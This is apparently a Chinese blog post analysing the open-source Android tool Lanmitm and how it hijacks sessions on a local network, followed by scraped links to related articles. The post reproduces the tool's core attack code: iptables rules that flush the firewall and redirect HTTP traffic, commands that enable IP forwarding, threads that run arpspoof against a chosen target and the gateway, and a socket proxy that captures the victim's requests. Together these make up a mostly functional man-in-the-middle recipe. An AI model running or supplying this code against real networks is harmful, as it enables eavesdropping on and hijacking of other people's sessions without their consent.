Android 中间人攻击
0x00
Android中间人攻击的思路就是劫持局域网中被攻击机器和server间的对话。被攻击机器和server表面上工作正常,实际上已经被中间人劫持。能够从一张图来明确这个过程。
受攻击主机发送的数据,首先经过了攻击者。从server返回的数据也经过攻击者,再发送给受攻击主机。
0x01
Android开源中间人攻击样例。请參考https://github.com/ssun125/Lanmitm。我们这里主要分析这个链接中效果预览中会话劫持的原理。
watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQv/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" />
分析https://github.com/ssun125/Lanmitm源码,要实现arp欺骗,有关键的四步:
1、使用Iptables进行NAT数据包转发
public static final String[] PORT_REDIRECT_CMD = {
"iptables -t nat -F",
"iptables -F",
"iptables -t nat -I POSTROUTING -s 0/0 -j MASQUERADE",
"iptables -P FORWARD ACCEPT",
"iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 80 --to "
+ AppContext.getIp() + ":" + HttpProxy.HTTP_PROXY_PORT };
这个命令是在ProxyService类的startHttpProxy方法中调用的。
2、开启端口转发,同意本机像路由器那样转发数据包
private String[] FORWARD_COMMANDS = { "echo 1 > /proc/sys/net/ipv4/ip_forward",
"echo 1 > /proc/sys/net/ipv6/conf/all/forwarding" };
这个是在ArpService类的onStartCommand方法中调用的。
3、ARP投毒
if ((ONE_WAY_HOST & arp_cheat_way) != 0) {
if (target_ip == null)
target_ip = AppContext.getTarget().getIp(); if (!target_ip.equals(AppContext.getGateway()))
arp_spoof_cmd = getFilesDir() + "/arpspoof -i " + interfaceName
+ " -t " + target_ip + " "
+ AppContext.getGateway();
else
arp_spoof_cmd = getFilesDir() + "/arpspoof -i " + interfaceName
+ " -t " + AppContext.getGateway() + " "
+ target_ip; arpSpoof = new Thread() { @Override
public void run() {
ShellUtils.execCommand(arp_spoof_cmd, true, false);
}
};
arpSpoof.start();
}
if ((ONE_WAY_ROUTE & arp_cheat_way) != 0) {
arp_spoof_recv_cmd = getFilesDir() + "/arpspoof -i " + interfaceName
+ " -t " + AppContext.getGateway() + " "
+ AppContext.getIp(); arpSpoofRecv = new Thread() {
@Override
public void run() {
ShellUtils.execCommand(arp_spoof_recv_cmd, true, false);
}
};
arpSpoofRecv.start();
}
这个是在ArpService类的onStartCommand方法中调用的。
4、在攻击者机器依据Socket原理,创建一个WebServer,原理相似于使用NanoHttpd实现简易WebServer。
这样被攻击者发送给攻击者的请求就能被获取。而且显示在界面上。
核心的代码例如以下:
public class HttpProxy extends Thread {
......
@Override
public void run() {
try {
mServerSocket = new ServerSocket();
mServerSocket.setReuseAddress(true);
mServerSocket.bind(
new InetSocketAddress(AppContext.getInetAddress(),
HTTP_PROXY_PORT), BACKLOG);
executor = Executors.newCachedThreadPool();
while (!stop) {
Socket client = mServerSocket.accept();
DealThread dealThread = null;
switch (mProxyMode) {
case MODE_PROXY_SIMPLE:
dealThread = new SimpleDealThread(client,
mOnRequestListener);
break;
case MODE_PROXY_DEEP:
dealThread = new DeepDealThread(client, mOnRequestListener);
break;
}
executor.execute(dealThread);
}
} catch (IOException e) {
e.printStackTrace();
} finally {
if (mServerSocket != null) {
try {
mServerSocket.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (executor != null) {
executor.shutdownNow();
}
}
}
......
}
Android 中间人攻击的更多相关文章
- Android安全之Https中间人攻击漏洞
Android安全之Https中间人攻击漏洞 0X01 概述 HTTPS,是一种网络安全传输协议,利用SSL/TLS来对数据包进行加密,以提供对网络服务器的身份认证,保护交换数据的隐私与完整性. ...
- 【Android编程】android平台的MITM瑞士军刀_cSploit源码解析及中间人攻击复现
/文章作者:Kali_MG1937 作者博客ID:ALDYS4 QQ:3496925334 未经允许,禁止转载/ 何为MITM欺骗,顾名思义,中间人攻击的含义即为在局域网中充当数据包交换中间人的角色 ...
- 如何避免遭受HTTS中间人攻击
先前为大家说明了如何对App的HTTPS通讯进行中间人攻击,听起来很吓人吧-表示若是使用手机的网银或购物等App,便有可能暴露在风险之中. 会发生HTTPS遭受拦截的主要原因是客户端的App未对服务器 ...
- 谈HTTPS中间人攻击与证书校验(二)
上文说到HTTPS的三次握手:http://www.cnblogs.com/wh4am1/p/6616851.html 不懂的再回头去看看 三.中间人攻击 https握手过程的证书校验环节就是为了识别 ...
- 中间人攻击 -- Cookie 喷发
0x00 前言 分享个中间人攻击姿势,屡试不爽. 原本是篇老文,不过写的太啰嗦.今天用简明的文字,重新讲一遍. 0x01 原理 传统 cookie 嗅探,只能获得用户主动访问的站点.不访问就抓不到,效 ...
- 中间人攻击(MITM)姿势总结
相关学习资料 http://www.cnblogs.com/LittleHann/p/3733469.html http://www.cnblogs.com/LittleHann/p/3738141. ...
- 转:中间人攻击利用框架bettercap测试
0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...
- Ettercap中间人攻击--介绍
前言 Ettercap有四种界面:Text,Curses,GTK2,Daemonize. -T 命令行界面,只显示字符.通常与配套的参数有-q(安静模式),加上该选项,则不会显示抓到的数据包 ...
- 中间人攻击破解HTTPS传输内容
最近App安全受到不小的關注,有人問我,說某某App不安全,究竟是真的還假的啊...所謂有被攻擊的風險,是不是危言聳聽,只是為了嚇人來著的? 現在就來為各位說明一下,是怎麼個不安全法.就來說說攻擊是怎 ...
随机推荐
- vue 中scroll事件不触发问题
在vue项目中需要监听滚动条滚动的位置,结果写了scroll监听事件就是不生效,最后查资料发现是页面有样式设置了over-flow:scroll,去掉之后完美解决.(页面样式中存在over-flow: ...
- Hadoop集群安装指南(CHD5.9.1)(分布式+图文详解)
centos7.1,CDH5.9.1,3台机器,终极指导安装 下载链接如下: 安装文件下载链接如下: 链接:https://pan.baidu.com/s/1RQYNiWn9a-T8GXcCsoDBs ...
- Jenkins出现 {"changed": false, "msg": "mkdir: cannot create directory ‘/root/.ansible/tmp/ansible-tmp-1552390265.8-253945919613076’: No space left on device\n", "unreachable": true}
之前部署Jenkins没有遇到过这个问题,百度也找不到相关内容,无奈用过google翻译了一下,显示内存不足,上到服务器查询df -h 发现use% 100% 由于日志等文件导致服务器磁盘空间满了,引 ...
- Mysql数据库事件使用与示例
1 事件简介 事件(event)是MySQL在相应的时刻调用的过程式数据库对象.一个事件可调用一次,也可周期性的启动,它由一个特定的线程来管理的,也就是所谓的“事件调度器”. 事件和触发器类似,都是在 ...
- Ubuntu 和 centos7 服务的启动
Ubuntu 下: /etc/init.d/nginx start | stop | reload Centos7下: service nginx start | stop | reload
- tornado框架基础01-路由简介
tornado 小而精 Django 大而全 Web框架 Tornado是一个由Python开发的Web框架 Web服务 利用Tornado,可以快速搭建和一个高性能的Web服务 非阻塞 Tornad ...
- Spring MVC 接入 rabbitMQ
依赖包 <dependency> <groupId>org.springframework.amqp</groupId> <artifactId>spr ...
- 【HIHOCODER 1526】 序列的值(二进制DP)
时间限制:20000ms 单点时限:1000ms 内存限制:256MB 描述 给定一个长度为 n 的序列 a[1..n],定义函数 f(b[1..m]) 的值为在 [0,m-1] 内满足如下条件的 i ...
- 【组合 数学】codeforces C. Do you want a date?
codeforces.com/contest/810/problem/C [题意] 给定一个集合A,求 , 输入: [思路] 基数为n的集合有2^n-1个非空子集. 首先n个数要从小到大排序,枚举最后 ...
- Invalid CSRF Token 'null' was found on the request parameter '_csrf' or header 'X-CSRF-TOKEN'
Spring Security :HTTP Status 403-Invalid CSRF Token 'null' was found on the request parameter '_csrf ...